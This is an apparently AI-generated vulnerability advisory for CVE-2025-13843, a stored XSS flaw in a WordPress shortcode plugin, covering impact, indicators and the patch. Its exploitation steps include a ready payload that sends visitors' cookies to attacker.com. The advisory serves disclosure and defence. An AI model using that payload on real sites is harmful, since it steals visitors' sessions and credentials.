CVE-2025-13843
WordPress vulnerability analysis and mitigation

Overview

CVE-2025-13843 is a Stored Cross-Site Scripting (XSS) vulnerability in the VigLink SpotLight By ShortCode plugin for WordPress. It affects all versions up to and including 1.0.a, and was published on December 12, 2025, with the vulnerability assigned by Wordfence. The flaw allows authenticated attackers with Contributor-level access or above to inject arbitrary web scripts via the float parameter of the spotlight shortcode. It carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

Technical details

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), stemming from insufficient input sanitization and output escaping on user-supplied attributes within the plugin's shortcode handler. Specifically, the float parameter passed to the spotlight shortcode is rendered without proper escaping in the generated HTML, allowing injected scripts to persist in the page content. The vulnerable code is visible in the plugin's spotlight.php file. Exploitation requires only Contributor-level WordPress authentication, making the attack surface relatively broad on multi-author sites (Wordfence, WordPress Trac).

Impact

Successful exploitation allows an authenticated attacker to persistently inject malicious JavaScript into WordPress pages, which executes in the browsers of any user who visits the affected page. This can lead to session cookie theft, credential harvesting, redirection to malicious sites, or defacement of page content. The scope is changed (S:C in CVSS), meaning the impact extends beyond the attacker's own session to affect other users of the site. Availability is not directly impacted, but confidentiality and integrity are both compromised at a low-to-moderate level (Wordfence).

Exploitability

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-13843 as of the available data. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum Contributor-level authentication on the target WordPress site, which limits opportunistic mass exploitation (Wordfence, Red Hat CVE).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the VigLink SpotLight By ShortCode plugin version 1.0.a or earlier, using tools like WPScan or by inspecting page source for plugin indicators.
  2. Obtain Contributor access: Register or compromise an account with at least Contributor-level privileges on the target WordPress site.
  3. Craft malicious shortcode: Create or edit a post/page using the spotlight shortcode with a malicious payload in the float parameter, e.g., [spotlight float="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
  4. Publish or submit content: Submit the post for review or publish it (depending on role permissions), embedding the stored XSS payload in the page.
  5. Trigger execution: When any site visitor (including administrators) loads the injected page, the malicious script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence, WordPress Trac).

Indicators of compromise

  • Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints containing spotlight shortcode content with script tags or encoded JavaScript in the float parameter.
  • File System: Unexpected modifications to post content in the WordPress database (wp_posts table) containing <script> tags or JavaScript event handlers within [spotlight float=...] shortcode usage.
  • Network: Outbound requests from site visitors' browsers to unknown external domains shortly after loading pages containing the spotlight shortcode, potentially indicating cookie or credential exfiltration.
  • Application: Presence of the VigLink SpotLight By ShortCode plugin at version 1.0.a or earlier (/wp-content/plugins/viglink-spotlight-by-shortcode/) on the server (Wordfence).

Mitigation and workarounds

The vulnerability is patched in version 1.0.b of the VigLink SpotLight By ShortCode plugin. Site administrators should update the plugin to version 1.0.b or later immediately. As a temporary workaround, restrict Contributor-level user registration or disable the plugin until the update can be applied. Additionally, reviewing existing posts for suspicious [spotlight float=...] shortcode usage is recommended to detect any prior exploitation (Wordfence).

Community reactions

Wordfence disclosed the vulnerability as part of their weekly WordPress vulnerability report for December 8–14, 2025, noting the patch availability in version 1.0.b. No significant broader media coverage or notable researcher commentary beyond the Wordfence disclosure has been identified for this vulnerability (Wordfence Blog).

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-16974MEDIUM6.4
  • kirki
NoYesAug 11, 2026
CVE-2026-14549NONEN/A
  • lingotek-translation
NoNoAug 11, 2026
CVE-2026-14548NONEN/A
  • lingotek-translation
NoNoAug 11, 2026
CVE-2026-19089NONEN/A
  • product-input-fields-for-woocommerce
NoYesAug 10, 2026
CVE-2026-19077NONEN/A
  • copy-delete-posts
NoYesAug 10, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management